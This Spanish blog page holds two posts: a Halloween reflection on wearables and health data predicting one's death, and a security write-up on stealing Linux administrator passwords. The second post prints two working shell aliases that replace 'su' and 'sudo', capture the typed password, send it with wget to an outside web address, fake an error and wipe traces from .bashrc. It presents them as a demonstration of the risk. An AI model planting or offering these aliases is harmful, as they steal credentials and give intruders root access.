viernes, octubre 31, 2014

¿A quién le vas a decir la fecha de tu muerte?

Ya que estamos en la noche de Halloween, donde los seres del utlramundo asolarán la noche para ponerse hasta arriba de licores espirituales que los convierta aún más en lo que representan, donde a altas horas de la noche los zombies de incógnito se mezclarán con los de que van disfrazados de tal ente, para compartir con vosotros un macabra reflexión sobre la muerte de todos y cada uno de nosotros. La pregunta que os hago es... ¿a quién le vas a decir la fecha de tu muerte?

Figura 1: ¿A quién le vas a decir la fecha de tu muerte?

Decía el mítico Clint Eastwood en una de sus películas de mi niñez en las que actuaba al margen de la ley que se había retirado por las matemáticas. "¿Las matemáticas?", le pregunta inocente el actor que le da soporte en esa escena. "Sí, los números dicen que en esta profesión a mi edad se suele estar muerto". La estadística que tanto nos hace sufrir en la universidad resulta ciencia clave para el análisis de los datos y la predicción del futuro. Sumado a ella, las técnicas de machine learning basadas en datos y datos de entrenamiento, al final consigue que esa matemática acabe convirtiéndose en resultados más o menos certeros de lo que va a pasar en el futuro, y dad por cierto que vuestra muerte esté en el futuro - os deseo que tan lejos como se sea posible -.

Lo cierto es que si nos hiciéramos un chequeo médico con asiduidad y nos midieran los valores de nuestro sistema cada cierto los doctores, aplicando su estadística y los sistemas de machine learning podrían saber más o menos cuándo va a suceder eso. Cuando alguien con tus síntomas, valores y hábitos va a vivir. Si esto lo hacemos regularme con sensores que reportan constantemente tus datos a la consulta del doctor éste podrá tener más información y pronosticar de forma más atinada cuando vas a comenzar a dormir el último sueño, el más largo y profundo que tendrás.

Figura 2: Datos de actividad física en Endomondo

Eso ya está aquí, y los datos médicos corren a servidores en la cloud bajo las famosas aplicaciones de e-health o los portales para deportistas como Endomondo - ¿La comprará Facebook y acabarán tus datos junto a tus likes y a tus fotos de fiesta? - que recoge tu actividad física. Qué mejor información que una información en tiempo real de todo lo que haces, de cómo reacciona tu cuerpo de cómo te sientan tus propios hábitos para saber cuándo cruzarás con el barquero a la otra orilla.

Ahora Microsoft se ha metido en este mercado con una nueva pulsera y el Apple Watch también tiene sensores para monitorizar tu salud e incluso el nuevo iOS 8 de Apple, sin decirme nada ha comenzado a contar los pasos que doy, los pisos que subo, por dónde me muevo, etc. Todo ello, supuestamente, para que yo me controle. Pero, evidentemente, al final los números los tiene alguien, estarán en algún sitio para que formen parte de ese big data mágico que le permitirá saber a la compañía que elija el momento en el que creen que moriré, y hasta detectar que acabo de hacerlo para comprobar su predicción.

Figura 3: Monitorización de pasos en iOS 8 automática

Este control de salud podrá llegar a convertirse en algo preventivo que te permita mejorar tu salud o en algo completamente pernicioso que se convierta en un asedio de ofertas con planes de pensiones, ataúdes baratos, denegación de créditos, inhabilitación para avalar operaciones o incremento de costes en seguros sanitarios, de vida o de conducir. 
"Lo siento señor Martínez, no podemos darle ese crédito a 5 años porque nuestros sistemas dicen que tiene una probabilidad de morir dentro de 2 años superior al 82 % y por política de compañía nos está prohibido aprobarle su operación crediticia"
El negocio de la muerte siempre ha dado mucho dinero, desde asesinos a sueldos, mercenarios, enterradores, casas fúnebres, agoreros, salvadores de almas y hasta maquilladores para el momento del adiós. Ahora hay otro negocio en ciernes, los predictores que podrán vender a buen precio la fecha de tu muerte. ¿Quién será el tuyo? ¿Has hecho testamento ya? ¿Has elegido ya a quién le vas a decir cuándo te vas a morir? ¡Qué tengas un terrorífico Halloween!

Saludos Malignos!

jueves, octubre 30, 2014

Ataques a GNU/Linux con alias maliciosos de su y sudo

A principios de este año nos enteramos de que en mi centro de estudios iban a poner Linux en los laboratorios de electrónica. En concreto estaban metiendo GNU/Linux Manjaro, una derivada de Arch Linux en la que por seguridad, los usuarios utilizarían cuentas no privilegiadas para trabajar y cuando fuera necesario pasarían a modo super usuario con un comando "su", para gestionar software o hacer configuraciones.

Figura 1: Cómo hacer ataques a sistemas GNU/Linux con alias maliciosos

El reto que se nos planteó era ver si sería complejo o no robar las cuentas de los super usuarios en los sistemas de este entorno, para ver si esto podía generar muchos problemas de soporte o no. Con esto en mente, se me ocurrió que una forma de robar las contraseñas sería usar un comando alias de los sistemas *NIX* para crear un falso "su" que me permitiera acceder a las contraseñas cuando se teclearan en una sesión de usuario no privilegiado para pasar a super usuario. Os cuento el ataque paso a paso.

Paso 1: Control de la sesión no privilegiada

El primer objetivo es conseguir el acceso a una sesión no privilegiada del sistema. Esto puede hacerse de muchas formas que van desde aprovechar un descuido de la sesión hasta "te paso este ejercicio en este pendrive, ejecuta este programa que te copia todos los ficheros de esta práctica" - para lo que yo me creé un pequeño script bash que descarga de Internet todo - , o cualquier forma de conseguir una ejecución de un script en el sistema. Un buen truco podría ser utilizar un USB Rubber Ducky para ejecutarlo en un descuido de la víctima.

Figura 2: USB Rubber Ducky simula ser un pendrive pero es un teclado programado

No olvidéis que esto está pensado para ataques que se realizan en entornos conocidos y la ingeniería social es importante, como en el ejemplo de ataque que se publicó ayer, donde se robaba la base de datos por medio de la apertura de un fichero Excel creado a medida.

Paso 2: Ejecución del script que crea el falso alias de su

El script inicial, al que llamé "aliasliado" crea un falso alias malicioso para su que simula un fallo en la autenticación cuando se introduce la contraseña que se requiere al ejecutar el autentico comando "su". La idea es que cuando se ejecute el comando "su", realmente se ejecutará el alias malicioso de "su". Éste pedirá  la contraseña de super usuario, la robaría, me la enviaría, mostraría un error de autenticación y borraría todo. El script que crea este falso alias es el siguiente:
alias su=' echo -n "Contraseña: " ; read -s PASS1 ; wget --background --quiet --output-document=$HOME/.local/.wine32 "blogx86.net/aliasliado.php?victima=HackConcept&clave=$PASS1" > /dev/null ; echo "" ; sleep 3 ; echo "su: Fallo de autenticación" ; unalias su >> /dev/null 2>&1 ; unset PASS1 ; rm -f $HOME/.local/.wine32 > /dev/null 2>&1 ; sed -e "/^alias su/d" ~/.bashrc > .temporal ; mv .temporal ~/.bashrc '
Como se puede ver, una vez que se ejecuta el comando "su" vía el alias malicioso, la contraseña que se haya introducido ha volado a manos del atacante y se ha eliminado cualquier rastro de infección dejando que el equipo funcione como estaba funcionando antes.

Paso 3: Una evolución del ataque gracias a "melasudo"

Hablando ayer con Chema Alonso sobre la publicación de este artículo, descubrí que el equipo de auditoría web de Informática 64 - ahora en Eleven Paths - hace un par de años había hecho lo mismo, pero con el comando sudo, mucho más efectivo para algunas distribuciones de GNU/Linux como Ubuntu. En esos casos es script lo aprovechaban para ownear servidores web en los que habían conseguido acceso no privilegiado con la cuenta del servidor web y querían hacer una elevación de privilegios.

Figura 3: Script de melasudo que crea un alias malicioso para sudo

El paso a paso está explicado en el artículo: "Melasudo: robar la password a un sudoer con ingenio" En este alias malicioso, utilizan una llamada a un script oculto en el directorio $HOME de la víctima que me ha gustado, así que he mezclado ambas ideas en el siguiente alias malicioso para que sea mi "Chevrolet Camaro" en este tipo de ataques.
alias sudo=' echo -n "[sudo] password for $(whoami): " ; read -s PASS1 ; wget --background --quiet --output-document=$HOME/.local/.wine32 "blogx86.net/aliasliado.php?victima=HackConcept&clave=$PASS1" > /dev/null ; echo "" ; sleep 3 ; echo "Lo sentimos, vuelva a intentarlo." ; unalias sudo >> /dev/null 2>&1 ; unset PASS1 ; rm -f $HOME/.local/.wine32 > /dev/null 2>&1 ; sed -e "/^alias su/d" ~/.bashrc > .temporal ; mv .temporal ~/.bashrc ; sudo $1 $2 $3 $4 $5 $6 $7'
El siguiente vídeo muestra este script funcionando en un ataque. En él se puede ver cómo se crea el alias malicioso, se roba la contraseña y luego todo queda igual que antes.


Figura 4: Vídeo demostración de ataque con alias malicioso

Conclusiones

Cualquier punto de entrada sigue siendo potencialmente peligroso, ya sea un fichero Excel, un USB Rubber Ducky que se conecta o un programa camuflado de cualquier forma. Conseguir la ejecución en un entorno no privilegiado sería el primer paso para conseguir luego la elevación de privilegios, aun con ayuda de un usuario.

Figura 5: Como conseguir una elevación en Windows con infección de enlaces a aplicaciones no privilegidas

Hace tiempo, cuando Windows Vista implantó UAC por defecto con el máximo nivel de seguridad, ya se publicó en el año 2007 una forma similar para lograr la elevación de privilegios infectando los enlaces a aplicaciones que el usuario no privilegiado tenía, así que como veis, el ataque se puede hacer igualmente en sistemas Windows.

Autor: Christian Prieto
Escritor del blog X86.net

Entradas populares